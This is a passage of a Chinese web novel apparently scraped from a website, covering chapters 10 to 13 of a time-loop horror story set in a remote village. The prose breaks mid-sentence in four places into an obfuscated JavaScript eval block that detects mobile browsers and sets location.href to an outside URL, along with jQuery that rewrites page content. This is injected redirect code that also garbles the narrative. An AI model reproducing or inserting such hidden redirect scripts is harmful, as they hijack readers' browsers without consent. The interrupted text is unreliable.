可她已经不相信自己的眼睛了。 她百般提防时,无人漏出破绽,于是她轻信了王春花的无害,却遭到重击。 判断会出错,眼睛会骗人,程杉已经因为她的判断付出了生命的代价。 她不敢再盲目相信自己了。 荀昼生像是读出了她的心声:“岑桉,别因为这次怀疑自己。程杉说,你特别厉害,无所不能,我觉得他说得很对。” “他还说过这种话呢。”岑桉失笑,视线越过重重山林,望向了雪山,“可我害了他。” “我说过了岑桉,这不是你的错。”荀昼生温柔得像晨曦的光,“你救过……你救过很多人,也帮了很多人,他们都很感谢你。” 岑桉有点困惑。 这是她唯一一处没有听懂的吞音,就连这句话本身她都没太听懂。 “总之,我知道很多你不知道的事情,所以,哪怕你不相信自己,也请相信一下我的判断吧,我无条件相信你。” 岑桉扬眉:“知道很多?” “嗯,”他笑着点头,“你无所不能,我无所不知。” 无所不知吗。 岑桉有很多想问的问题,比如荀小妹的妈妈,比如短信里的煤油灯,比如刚刚不能动弹的缘由,还有掠夺她全部注意力的路灯。 路灯…… 她忽然又有点晕乎,眼前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143431|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景象糊上了厚厚的马赛克,脑袋里似乎有团温暖的黄光,一点一点攫取着她的心神。 是哪里的灯光? 煤油灯…… 煤油灯! 岑桉蓦地惊醒。 她惊魂未定,后背冷汗直冒,肩头重重按着一双手,手的主人此刻也是一副心有余悸的模样:“别看,别想,控制住,控制住。” 所以真的是因为——她狠狠咬了下舌尖,默念了三遍煤油灯,逼迫自己沉下心,转移注意力。 “你知道喜马拉雅山的猴子吗?” 荀昼生一怔:“听过。” “我明白了。”岑桉闭上眼,在脑中不断想象煤油灯的模样,她没有见过实物,但在收到那条短信后,她到网上搜过图片,这就足够支撑她进行联想了。 原来如此。 不是喜马拉雅山的猴子,也不是毫无用处的赘述,“不要想煤油灯”是在提醒她,有一样东西不能想、不能看、不能深究,而煤油灯是逃脱思维怪圈最好的转移物和代替品。 “虽然我已经猜到答案了,但还是想跟你确认一下,”岑桉缓缓抬眼,正视荀昼生的脸,不放过他的任何一个表情,“煤油灯,是你发的吗?” 迷惘。 思索。 恍然大悟。 相当循序渐进、有层次感的表情变化,真实到岑桉开始怀疑自己的猜测,这时荀昼生却笑了起来:“我也明白了。” 他笑得豁然,眉目间舒展开来,恍若守得云开见月明。 “我现在还不能回答这个问题。”他单手遮住嘴角笑意,“我盼着未来有一天,能亲口告诉你答案。” 意料之外的答复。 但岑桉更加笃定了。 虽然还没有完全摸透会被“屏蔽”的字眼,但他的不否认某种程度上便是一种承认。 岑桉心底生出些许歉意。 她之前对荀昼生的看法过于武断,因他的遮掩认为他不可信,因为他机器人式的兜圈子答法判定他不坦诚。 如今看来,也许是受法则条款约束,他能给出的已经是最大限度的真诚了。 只是眼下,她还有一件更在意的事情。 “如果我现在……”岑桉比了个手刀,虚空划了下自己的脖子,“会在哪里?” 荀昼生摇了摇头:“我不知道。” “和以前一样吗?” 又是摇头。 她指了指程杉:“在他……之前吗?” 这次终于是点头了。 她松了口气:“那我去找刀。” “等等——”他一把拦下她,“不着急,不用现在。” 荀昼生的舌头像在和上颚打架,组织了很久的语言才重新开口:“候鸟每年会迁徙两次,一次从南到北,一次从北到南。它们从出生开始迁徙,直到生命走到尽头才中止,从生到死的过程看似漫长,可它们的寿命是极其短暂的,每次迁徙都是生命的倒计时。” 在故事的结尾,他一锤定音:“所以,要珍惜生命。” 岑桉:“……” 很突兀,但也是煞费苦心了。 她听得出来,荀昼生在想方设法打消她自尽回溯的念头。但这一长串关于候鸟的描述,好像还藏着点别的什么东西。 寿命短暂。 每次迁徙都是生命的倒计时。 ——次数……限制? 11. 第十一章 岑桉在入行后,看过很多前辈的作品。 有位前辈喜欢在照片里藏东西,比如湖面倒影的角落有手写的字母,山峦上的小鸟是手绘的水印,树底无序的落叶里某一片藏了她的ID。 她的浪漫和有趣体现在每一张照片里,别的前辈评论区都是尖叫赞美和礼貌收藏,她的评论区全是当代福尔摩斯,粉丝和路人恨不得拿放大镜找破绽,每一个边角都会成为大家的怀疑目标。 岑桉当时只觉得好玩儿,钦佩前辈的新意和用心,但现在却微妙地共情了评论区的心情。 她是收钱接单来拍摄客照的,先被认成记者,后又被当作侦探——真当她是来探案的啊! 她怀着这样微妙的心情,从荀昼生的嘴里听到了五花八门的故事。 她问荀小妹,荀昼生讲了沉香救母的故事。 她问王春花,荀昼生讲了逼上梁山的故事。 她问经幡和彩光,荀昼生讲了孙悟空大闹龙宫的故事。 她问时间循环和重生轮回——哦,这个她问不出口。 问到最后,岑桉都有点麻木了。 “你之前说的雪山娘娘,又是怎么回事?” 荀昼生口干舌燥,但还是十分敬业:“你听过六耳猕猴的故事吗?” “那你呢,故事大王,你又是个什么故事?” 他沉默了。 他再三斟酌,迟疑不决地吐露:“引狼入室。” “哪吒闹海。” “精卫填海。” 岑桉:“……” 荀昼生有些难为情地摸了摸鼻尖。 “都不算准确,抱歉,我不擅长描述自己。” 其实已经足够了。 岑桉心想。 他已经在规则允许内给出足够多的信息了,只是这些信息横七竖八、杂乱无章,和她之前得知的讯息相悖。 如果“沉香救母”代表着荀小妹没有撒谎,她的初心确实是为了救妈妈,那么荀叔远口中的难产早逝是怎么一回事? 如果“逼上梁山”是指王春花对他们的追杀并非出自本心,而是不得已而为之,那她有什么苦衷?又为什么一定要对他们痛下杀手? 况且,就算王春花有天大的苦衷,岑桉也没有办法体谅分毫。她曾死于非命,她弟弟更是尸骨未寒,这是两条活生生的人命。 “虽然我还想问问你,王春花是怎么动的手,但我现在有件更重要的事情要做。”岑桉一边听着他的故事,一边用湿巾擦干程杉的脸和手臂,终于把他身上的泥灰都擦了个干净,“他跟我说,你是带着铁锹出来的,能不能借我用下?” 她不能看着程杉这样尸横荒野,哪怕知道这不是终点、不是结局,哪怕她眼睛一闭一睁又能看到一个完好的程杉,她也要让此刻的他入土为安。 可荀昼生又一次拦下了她。 “再等一下。”他欲言又止,最后干巴巴憋出来一句,“不能埋。” “理由。” 他的喉结上下滚动,像是被什么卡住了喉咙,无法吞咽下去,也无法说出口给她听。过了好一会儿,才没头没脑地蹦出来句:“除了煤油灯,还有其他吗?” 岑桉一愣。 上次情况危急,具体内容她只囫囵看了一遍,这次更是连短信都没了,现在能明确记得的只有煤油灯。好像还有什么,只有一个神明? 先前东一榔头西一棒槌的事情太多,她都没顾得上问他,这次怎么不发消息了。眼下被人堵到门口,她顺坡下驴:“还有什么?” “岑桉,”他正色,“不要弄脏自己,也不要弄脏自己在意的人,无论什么时候。” * 谜语人真是太难懂了。 岑桉守着程杉,一时间没了方向。 荀昼生扔下一堆模棱两可的话,就急匆匆地离开了。他走时已经过了下午三点,因按钮而亮起的路灯已经再度熄灭,岑桉一边默念煤油灯一边粗略计算了下,强制亮灯时长在两小时左右。 她不知道自己的理解是否正确,“不要弄脏自己”像是在暗示她,不能把程杉葬在土下,她不敢赌,她怕会影响到“下一次”,可她也没办法看着程杉孤零零地留在这里。 她忽然想起了雪山上的经幡。 岑桉想,她要带着程杉再上一次雪山,天为被,雪为床,经幡庇佑人间安宁,也护一护她弟弟的安康吧。 岑桉捡回了那把短刀,听从荀昼生的叮嘱,割掉了裤腿上沾了泥点的布料。 她把程杉稳稳背在背上,一步一步迈向了索道站。 岑桉记下了荀昼生检查、操控索道的步骤,一比一复刻,没有遗漏任何操作——哪怕遗漏了也无妨,就让缆车从半空坠落,她就能和弟弟团聚了。 置生死于度外。 岑桉第一次明白这是怎样的感受。 纵使荀昼生拦下了她奔赴下一轮回的自裁行为,岑桉始终没有放下这个念头。 可惜她将步骤记得实在太全太牢了,缆车安安稳稳地将她和程杉送上了雪山。 只是几个小时的功夫,已然有了物是人非之感。 岑桉小心翼翼地扶着程杉的后脑勺,轻轻将他放在雪堆上。 五色经幡高悬于空,比山巅更接近苍穹,大约也更接近神明吧。 雪山神明啊,如果您能听到我的声音,请让我的弟弟安息。 无论我因何被牵扯进这里,无论回溯和循环因何而存在,程杉是无辜的,今日他长眠于此,我想为他求一个平安。天地为证,经幡为鉴,岑桉甘愿成为雪山信徒,只要程杉安好,盼您显灵。 岑桉跪在雪中,虔诚磕头。 她愿意付出代价,只要她给得起,什么代价都可以。 磕完三个头,她跪直身子,又默默在心底唤了一声“雪山娘娘”。 倏忽之间,风声簌簌,她循风张望时,一点冰凉落到了她的脸上。她伸手去接,看着掌心的一片晶莹,一滴泪悄然滑落,溶成了剔透的雪心。 ——神明,回应她了。 * 岑桉一人静坐在雪山上,沉思了很久。 仔细想来,荀昼生的每一个故事似乎都有深意,关于他的那部分暂且不提,她最想不通的就是孙悟空大闹龙宫。 她记得《西游记》中这一章回【注】,孙悟空到东海龙宫抢了如意金箍棒,自此以后,金箍棒就成了孙悟空的战斗武器,可随心意任意变化大小,可降妖除魔助西天取经。可是,这同她问的经幡和彩光有什么关系? 她目光落在悬挂经幡的柱子上,通天高的柱身约莫有树干那么粗,岑桉忽然灵光一现。 金箍棒? 经幡柱? 岑桉觉得自己简直魔怔了。 但事已至此,也没什么不能尝试的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143432|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她盘腿而坐,将注意力集中在经幡柱上,心中念念有词。 变大。 ——没反应。 变小。 ——依旧没反应。 难不成要喊出声来? 她干咳两声清了清嗓子。 “变大——” “变小——” “变!” 经幡柱动都没有动一下。 岑桉尴尬得直想把脸埋起来。 虽然周围一个人都没有,但自从神明回应之后,岑桉总觉得雪山娘娘在冥冥中注视着她。 她发誓,她真的很少做这样丢脸的事情,若神明有知,勿怪勿论,可千万不要因此觉得她这个新晋信徒不靠谱。 明明是荀昼生给她的提示靠不住。 好吧,其实也不能这么说。 荀昼生已经帮她很多了。 岑桉自诩冷静,还是逃不过当局者迷。 如今想起程杉倒在她身前的模样,她仍是心如刀绞,又何况是事发当时,她控制不住满心痛惜,也压抑不住满腔怒火,倘若荀昼生没能按住她的手,恐怕她那把刀真的会刺进王春花的身体。 看不到的障壁拦住了外出的通道,他们被困在这样一个孤岛般的地方,联络不上外界,也无法求助警方,没有法律法规约束,也社会道德谴责。 如果杀一人成了小事,那三人、五人乃至十人呢? 如果害人者该杀,那知情不报者该不该杀,无辜者又该不该杀? 如果报仇杀人合理,那泄愤杀人是否合理,图财杀人是否合理,为了获取虐杀快感而杀人又是否合理? 一旦做出让步,底线便会一退再退。 单凭这一件事,她就该感激荀昼生保住了她的底线。 岑桉望着远处,趁着难得的清静,捋着遗漏的问题。 下次见面要再问荀昼生,兴许他知道离开荀家村的方法。 对了,还有王春花的杀人手法,她是如何兵不血刃就取了人命? 再然后,她还想问问,他神出鬼没都在忙些什么,他不求回报地告诉了她这么多信息,她不介意搭把手帮他一帮。 循环能给他们设下诸多表达上的阻碍,自然也会在别处有所局限,比如次数限制。 荀昼生说得对,不能把有限的次数浪费在生命的消耗上,她得振作起来,找到其他突破口,尽早带着程杉离开这个鬼地方。 就从荀小妹开始吧,是她引自己来的荀家村,那就先找她摸清那位“妈妈”的情况。 岑桉长舒一口气,站起身拍了拍身上沾到的雪,又捶了捶隐隐发麻的小腿。她原路返回坐上了缆车,透过透明车窗看着山景。 荀家村确实坐落在一个世外桃源的好地方,湖光山色,清荣峻茂。村子四面环山,山谷间流淌着涓涓细流,山脚下湖沼遍布、波光粼粼,放眼望去,漫山遍野的树木郁郁葱葱,湖沼正中的那棵高大水杉更是浓荫如盖。 天色渐沉,夕阳的余晖倾洒进车厢。 咔嚓—— 忽然一声细微的摩擦声,紧接着就是钢索断裂的声响,随之而来的是强烈的震感。缆车车厢逐渐倾斜,岑桉下意识抓紧了把手,头晕恶心和濒死的恐惧一同涌了上来。 飞速下坠的缆车像是夜幕降临的序章,踩着最后的晚霞重重地撞在山间泥地里。 天翻地覆,坠入深渊。 12. 第十二章 咔哒—— 喀嚓—— 什么声音? 她还在缆车上吗? 钢索还没断彻底? 岑桉茫然地睁开眼,是个眼熟的屋子,屋内灯火通明,她此刻正倚靠在床边,好整以暇地朝着声音传出的方向——不是钢索在断,是锁芯在转。 她回来了。 只不过回到的是入夜敲门惊魂这个节点。 那个死死按着桌子堵住门的背影她再熟悉不过,一时间岑桉想不起当时自己是什么心态,明明用衣架锁好了门,却还是要吓他一吓——也许是想让他多长个警惕心,又也许是想看看弟弟出糗的模样。 岑桉鼻头发酸。 长这么大以来,她好像从来没有抱过他。 寻常姐弟间,总嫌弃抱来抱去太过矫情,可失去过一回,她却有了抱抱他的想法。 她正欲迈步,就听到了自家弟弟的遗言:“姐,一会儿我抱住他,你找机会逃跑,能走走不能走就躲起来,不用替我报仇。姐,记得告诉我爹我妈,还有彬子他们,我这大小也算是个英雄了,让他们给我多烧纸。” “呸呸呸!”岑桉暴起,“胡说八道什么呢,童言无忌,童言无忌。” 熊孩子,怎么还带自己咒自己的。 程杉被她突如其来的责骂惊得转过头来,却对上她泛红的眼眶:“咋了这是?姐,你别怕,我——” 话音未落,猖獗的门把声哐啷作响,程杉一个激灵又扭回头,定睛一看,两个木衣架把门锁卡得严丝合缝,毫无破绽。 “我当然不怕,”岑桉鼻音有些浓,“你也不用怕,有姐在呢,都死不了。” 她向前走了几步,一把揽过呆愣愣的弟弟,手在他脑门前停留许久又挪到了头顶上,轻柔地摸了摸他的头发:“你要好好的,知道不?” “姐,”程杉的声音也带上了哭腔,“你被夺舍了?” 岑桉:“……” 得,不是感动哭,是被她的反常吓哭的。 一腔真心喂了狗,果然他们之间不适合玩煽情的这套。 她捏了捏拳,手找回了原位,准确敲在了他额头上,偷摸下了狠手——“嘣”一声,又脆又响。 “这次对味了,”程杉捂着额头连连后退,语气又后怕又委屈,“但你没被夺舍就没被夺舍嘛,我也是担心你,你咋又打我啊!” “滚。” “得嘞!” * 荀家村的夜静悄悄的。 岑桉一路低着头,避开路灯密集的大道,一边念叨着煤油灯一边低头赶路。这招确实管用,头不抬就不会被灯源迷惑住眼睛,心不想就不会被灯光吞噬掉意识。 她思来想去,实在是在意王春花的杀人方式,干脆把程杉锁在了屋里,一个人出来跟踪。 程杉得知她的打算时,眼睛瞪得像铜铃:“姐你疯了吧!躲都躲不及,你居然还想送上门去?” 时间紧迫,岑桉来不及把一切原原本本地讲给他听——即便她有心要讲,大概率也会被掐灭在嗓子眼里。 所以她直接挪用了他上一回的剧本:“其实我是被上天选中的主角,对,就是你看过的那种热血动漫,上天安排我接下了这个单子,这次我是来拯救世界的。” “我就说拯救世界的戏码是真的!”程杉眼里的光亮了又熄,“可是老姐,你也不信这些啊,怎么主角选你不选我啊?” 岑桉无语,打发道:“反正你甭管了,我是主角,肯定安安全全的,你就老实待在屋里锁好门,别出来给我添乱。” 她心里有自己的算盘。 两次下来,程杉显然对轮回的事情一无所知,知情人只有她和荀昼生。 也就是说,程杉并不直接参与循环,他并不拥有时间回溯的能力。 上次回溯到了高铁,这次直接快进到了住宿,那下一次呢? 万一再有意外发生,岑桉有这项能力傍身,程杉怎么办? 倘若他倒在她力所能及的时间范围外,是不是真的就成死局了? 岑桉还没有摸清循环的规律。 她不能把弟弟的命当作赌注。 按照上次的轨迹来看,过了敲门这个节点,今晚只要安安稳稳睡一觉,就什么都不会发生。岑桉再三叮嘱程杉一定不能出门,甚至让他发了誓——如果不听她的话,他就永远不能参与拯救世界的计划。程杉这才垂头丧气地乖乖应下。 岑桉出门前耽误了些时间,已经找不到敲门人的身影了。 她打开手机的手电筒照着地面,一路跟着泥泞的脚印,往丛林深处走去。 这一路不可谓不惊险,哪怕岑桉口里一直念着煤油灯,脑袋里一直幻想煤油灯的样子,甚至用手电筒刺眼的光盖在路灯灯影之上,她还是几次三番产生了困意。 原来上次睡得昏沉也是路灯在作怪。 古有读书人头悬梁锥刺股,今有岑桉赶路咬舌尖掐手臂,总之还是有惊无险地跟到了一片湖沼前,然后失去了方向——不是因为脚印消失了,而是这里遍地都是层层叠叠的脚印。岑桉鸡皮疙瘩乍起,打了个寒战。 四下寂静的夜里,忽然响起了悠远绵长的钟声。 铛—— 铛—— 铛—— 三声钟响结束,湖沼中心传来了人语声。 岑桉深吸了口气,从背包里掏出塑料袋套在脚上,系紧绑好——荀昼生说过,“不要弄脏自己”,湖沼处处是泥潭,不像刚才路上还有干净处可下脚,她要做足一切准备。 她关掉了手机的光,这里没有路灯,借着丛木的遮掩,她顺利潜到了人声附近,透过柔和的月色看清了轮廓——那个半跪在地上低着头的人影,是王春花没错。 岑桉屏气凝神,试图听清对方在说些什么,可自从她靠近之后,王春花就没了声音。 ——是被发现了吗? 不应当,她没发出任何可疑的声音,而且王春花只是没吭声,若真发现了她,不应该立刻追上她灭口吗? 她不敢动,也不能动,就这样过了不知多久,岑桉蹲得腿脚发麻,几乎要支撑不住时,王春花突然动了。 月光下的王春花就着跪地的姿势,将头垂下,越垂越低,几乎贴近了地面,然后深深地埋进了泥里。 等等,埋进了地里? 岑桉毛骨悚然。 泥已经掩到了王春花脖子的位置,岑桉不知道这种情况下人能坚持多久,也不知道王春花为什么要这么折磨自己,又或者说,她是被什么东西逼着按下头去的吗? 岑桉不敢细想,身上每一根汗毛都立了起来。 又不知过了多久,像有一双无形的手,将王春花的头拎出了泥潭,她躺在地上一动不动,只有微弱的胸腔起伏证明了她还活着。 奇怪,怎么看得这么清楚。 岑桉想。 月亮有这么亮吗? 她明明关掉了手电筒,这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143433|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有路灯,她怎么连这样细微的起伏也能看得一清二楚? 就好像特意有人为王春花的惨状打光。 霎时,泥潭动了。 无风拂动,无水推流,泥沼像是有了生命,缓慢地凝聚在一起,笼罩着一层黄晕的光,驱散了夜的寒凉。 岑桉脑海里分裂出了两个声音。 一个温柔似水,劝说着:睡吧,睡一觉,一觉起来都会好的。 另一个声音如电闪雷鸣,划破脑内混沌:这光不对劲!醒醒! 不对劲?哪里不对劲? 明明那样亲切,她似乎早已见过千次万次,像在呼唤归家的旅人,于孤寂的夜晚点亮了一盏煤油灯。 煤油灯…… 煤油灯! 岑桉猛地闭眼,熟练地咬了下口腔里的软肉,逼迫自己醒神。 眼熟?当然眼熟,这光分明与蛊人心神的路灯一脉相承! 岑桉死死拧着胳膊,用疼痛提醒着自己,再睁眼时,后背已被冷汗浸湿。 那团诡异的会发光的泥沼早已不见踪影,王春花依旧没有动静,但她身后黑压压的丛林忽然动了。 ——这里到底有多少神魔鬼怪啊! 岑桉咬了咬牙。 高铁禁止带任何管制刀具,她出行只带了摄影设备,和防身用的防狼喷雾。 虽然她学过几年散打,但在非人的存在面前也许根本不够看,眼下只能祈祷防狼喷雾对这些东西管用了。岑桉伸进背包摸防狼喷雾,手指却感到一阵刺痛。 她怎么不记得自己有带锋利的东西? 岑桉一把将它拽了出来——居然是把短刀。 那把刀柄上全是泥渍、兵不血刃就杀害了程杉的短刀。 它怎么会在这里? 来不及细想,岑桉紧紧握住刀柄,望向那片挪动的“丛木”。可近了才发现,原来不是什么精怪,是人——是早就潜匿在此处、一直被她误当成树丛的人。 她看到了老村长,看到了荀耀,还有她不认得的一对老夫老妻,以及一个陌生男人。 不出意外的话,他们都是荀家村的村民。 所以方才,他们就是这样眼睁睁目睹自己的同胞被按进泥潭,却毫无作为吗? 岑桉不明白。 但她也没必要明白,他们这些村民之间有没有感情,与她无关。她现在要做的,是活下来。 她一路闪躲,被黑压压的人影追逐,以老村长为首的一众老年人压根追不上她,那个孩子打从她出了湖沼就没再见到人影,最后穷追不舍紧跟在她身后的,只剩下那个陌生男人。 被追到路灯密集的大道上,岑桉精疲力竭,既要防范被路灯蛊惑,又要应对身后的追兵。那个陌生男人二话不说就对她动了手。她晃身躲过,一刀划在他的大腿,男人吃痛地哀嚎一声,却分毫没有退让,一肘击在她的后背,膝盖顶上她的腹部,将她翻身摔倒在地,她的短刀也随之滚落。 岑桉狼狈起身,刀锋已至眼前,她来不及闪避,只能双手接住男人砍下来的刀刃,两人几乎势均力敌,谁也不能将谁扳倒在地。 手掌鲜血四溢,她恍惚间感觉掌心的伤口在发热,有如火焰灼烧着她的皮肤,滚烫的血液闪过炫目的彩光,她似有所感地猛一用力掀开了男人的手腕,一个横腿踹在他的腰腹,再定神时,手上已多出一根长长的竹竿,竿身缠绕着挂满经幡的长绳。 这是…… “金箍棒”? 13. 第十三章 原来这才是孙悟空大闹龙宫的涵义。 但,竹竿不是个脆皮吗?虽然是经幡竹竿,会不会一竿挥下去就成了两截? 岑桉也顾不得那么多,死马当活马医,她攥紧竿身,挥舞着经幡冲上前,一竿甩在男人身上——竿子毫发无伤,男人却发出了比她想象中痛苦千百倍的惨叫声,用胳膊肘支撑着身体向外爬离。 他要跑,岑桉也没拦,手握功能强大的经幡,优哉游哉地跟在男人身后。他恨恨地瞪了她一眼,岑桉佯装要攻,他立马加快了脚步,逃得屁滚尿流。 虽然没搞清楚他如此恐惧的具体原因,但肯定是经幡的功劳,岑桉享受了把狐假虎威的体验,紧追着男人折回了湖沼。 她还没弄懂程杉是怎么死的,刚好短刀被男人拿走,重新回到了荀家村自己人身上,她想看看到底无伤杀人是怎么做到的。 * 程杉从老姐走后就一直犯困。 他试了各种办法,比如用手机播放《好运来》,比如用胶带把眼皮贴起来,总之全都毫无用处。他不敢出门,老姐可是主角,不听主角的话会死得很惨的,但他也不敢入睡,谁知道这热血番是HE还是BE,他担心一觉起来就再也见不到老姐了。 就在他两眼半合不合的时候,门又被敲响了。 他哆哆嗦嗦蜷在床上,扯着嗓子大喊:“谁啊?” 是谁要趁他家主角不在来谋害他了吗? ——咚、咚、咚。 无人应答。 ——咚、咚、咚。 程杉不敢再吭声,悄摸摸躲在门后,顺着门缝向外看,正对上一只偷窥的眼睛。 他吓得连连后退,砰一声撞在了床杆上,门外似乎也听到了他的动静,哐哐地拍起门来。 程杉一屁股坐在地上,抱紧自己两条腿——谁都好,快来救救他吧,这么大动静,就没有人被吵醒吗? 也不知是哪路神仙听到了他的心声。 “吵什么吵!让不让睡了!”粗犷的怒喝声响彻云霄。 门外静了静,随即响起了啪嗒啪嗒离去的脚步声。 程杉又等了许久,外面静寂无声,他才捂着砰砰作响的心脏,小心翼翼地拆下了衣架,轻手轻脚拉开了门,悄悄向外探了下头。 ——正对上墙后的两道直勾勾的目光。 * 岑桉再回湖沼时,四下空无一人,被她追着的男人像是个弃子,腿弯一直打着颤。 带着求助无望的孤注一掷,他嗷一嗓子就冲她飞扑而来,短刀直指她的脖颈。岑桉一竹竿将他抵在原地,他把刀一扔,晃过竹竿的攻势,赤手空拳招呼到她身上。单论近身肉搏,岑桉没在怕的,更何况还有竹竿在手,她没几下就把男人打趴在原地。 也是不知道他哪根筋搭错了,居然把从她手里抢到的刀扔了,空手作战哪有优势。 她用竹竿抵住他,走近两步,正考虑该怎么问话,却突觉背后发凉。岑桉猛一回头,正对上那摊聚成团的烂泥,它的光照亮了身周区域。 它张了张口,岑桉来不及感慨一滩烂泥居然会说话,便听到它叽里咕噜吐出了一串鸟语,与村长先前的语言如出一辙,最令她不明的是,她居然听懂了。 “废物,”它叽里咕噜,“呜噜哩呱动手!” ——什么? 岑桉僵硬地扭回头,男人早已绕开竹竿至她眼前,拾起那把沾了泥的短刀,狞笑着插进了她被灯光照出的影子,狠狠划过了影子脖颈的位置。 “她咕噜没用呜。” “叽里呜啦仪式。” 意识涣散前,这是她听到的最后两句鸟语。 * “姐你还不走吗?” “是不是后悔了,打算带上我?” “我就说我还是有用的吧,姐你信我,我虽然没有实战,但胜在储备经验丰富啊,有我在主角团,包你事半功倍!” “姐?姐你发什么呆呢?姐——” 岑桉蓦地睁开眼,把程杉吓一跳:“你咋突然眼瞪这么大,不信我啊?我真的经验丰富好吧,不信你随便问,要是有答不上来的我就认输!” 又回来了。 这次是在敲门声过后、自己出发追人前。 看着程杉眼巴巴的期待模样,岑桉心有余悸。 她的身体还沉浸在那下剧烈的抽痛之中。岑桉摸了摸疼痛的胸口,完好;又摸了摸似乎在往外冒血的脖颈,完好;最后确认了遍仿佛粉身碎骨般的全身,都完好无伤。 那团烂泥是个什么东西?那把刀又是个什么东西?为什么刀割影子居然能死人? 程杉那次,也这么痛吗? 岑桉不敢想。 她稳下心神,问道:“你有听过割影子杀人之类的说法吗?” 程杉:? 程杉面色复杂:“有倒是有,可据我所知,割影子能杀掉的那都是非人生物啊……” 他犹疑地上下打量着岑桉:“姐,你见到谁因为影子被杀了啊?” 岑桉:“……” 岑桉:该怎么告诉你,通过你的论断,我应该不是个人呢。 她忍住白他一眼的冲动:“没谁,行了,早点睡吧。” “啊?这就睡啦?”程杉瞠目结舌,“你刚刚不是还要出门拯救世界的吗?” 话是这样没错。 但岑桉现在已经明白荀家村人的杀人方式了,甚至还意外看到了团疑似幕后黑手的烂泥,以及参与其中的村民,已经算是收获颇丰了——虽然搭上了一条命。 打斗的疲惫还残留在她身体里,她现在只能好好睡上一觉,明天再按缆车坠落前的原计划去找荀小妹。 迷迷糊糊间,岑桉脑中闪过一个念头——那把短刀是哪儿来的? 她没有捡别人东西的习惯,她记得自己割掉裤腿上的泥点后,随手就把王春花的短刀给扔了,根本没有塞进背包。更何况,按照时间循环来看,在这么靠前的时间节点,上个轮回的她不该拥有上上个轮回后期持有的东西。 岑桉忽然就清醒了。 她坐起身,伸手进床头的背包里摸了两把——什么都没有。 窗外路灯尽职尽责地散发着光,岑桉拧着自己手臂内侧,默念着煤油灯,再三确认自己现在是清醒状态,她又伸进背包摸了一把——依旧什么都没有。 她干脆把背包里的东西全都倒在床上,什么都在,唯独少了那把短刀。 岑桉想不通缘由,但那把刀毕竟来自于敌方,不在身边也好,毕竟她还有来自雪山的馈赠——那根经幡竹竿。她定了定心,想试验着再召唤一次,但床上包里怎么也找不到能划破掌心的尖锐物品,她又不想下床翻找把程杉吵醒。 算了。 是我的终究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143434|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我的,不是我的怎么也强求不来。 她重新平躺下。 刚萌生了点睡意,岑桉脑海里又闪过一个念头——仪式,仪式是什么? 虽然不知道自己为什么能听到几个鸟语的词汇了,但她明确记得自己听到了“废物”“动手”“没用”“仪式”这四个词。 前两个是让男人趁她不备对她的影子下手,后两个呢? 她没用——她之前有用过吗?对谁有用?有什么用?如果她没用,有用的又是谁? 仪式——什么仪式?为谁举办仪式?什么时候在哪里举办仪式? 岑桉仔细回想了前几次的经历。 第一次,她被灯光夺去意识,然后被王春花杀害——大概率也是通过割断影子的方式死掉的,也就是说,从最开始,她的归宿就应该是死亡。 第二次,王春花敲门进屋杀人未果,选择第二天再次行动,那时她又被路灯迷惑,回神时程杉已经卧倒在地了,但他倒下的位置正挡在她身前,结合那句“她没用”,她合理怀疑王春花真正想杀的人是自己,只是被程杉挡了刀。 第三次,她一个人出门,在跟那个陌生男人的打斗中占据了上风,随后就被他引回了烂泥所在地,被两人声东击西联手杀掉。 岑桉此时才意识到自己犯了蠢。 第一次的程杉怎么样了?他给她打的那个没通的电话是不是求助? 第三次的程杉又怎么样了?他被她一个人留在屋里,会不会被骗开门? 如果她没用,那么有用的就是程杉,从头到尾那帮人和泥就是冲着程杉来的。 他们图什么呢? 岑桉百思不得其解。 难道真的是程杉看动漫总结出来的主角宿命论? 但无论如何,有一个最大的好处,他们对程杉有所图谋,就不会直接对他下手,反而会想方设法暂时保住他的命——只要他自己不作死。这种情况下,所有的追杀都会集中在她的身上,她对自己的作战能力有信心,对经幡更有信心。 那接下来是不是分头行动比较好? 岑桉只思索了一瞬,就否掉了这个选项。 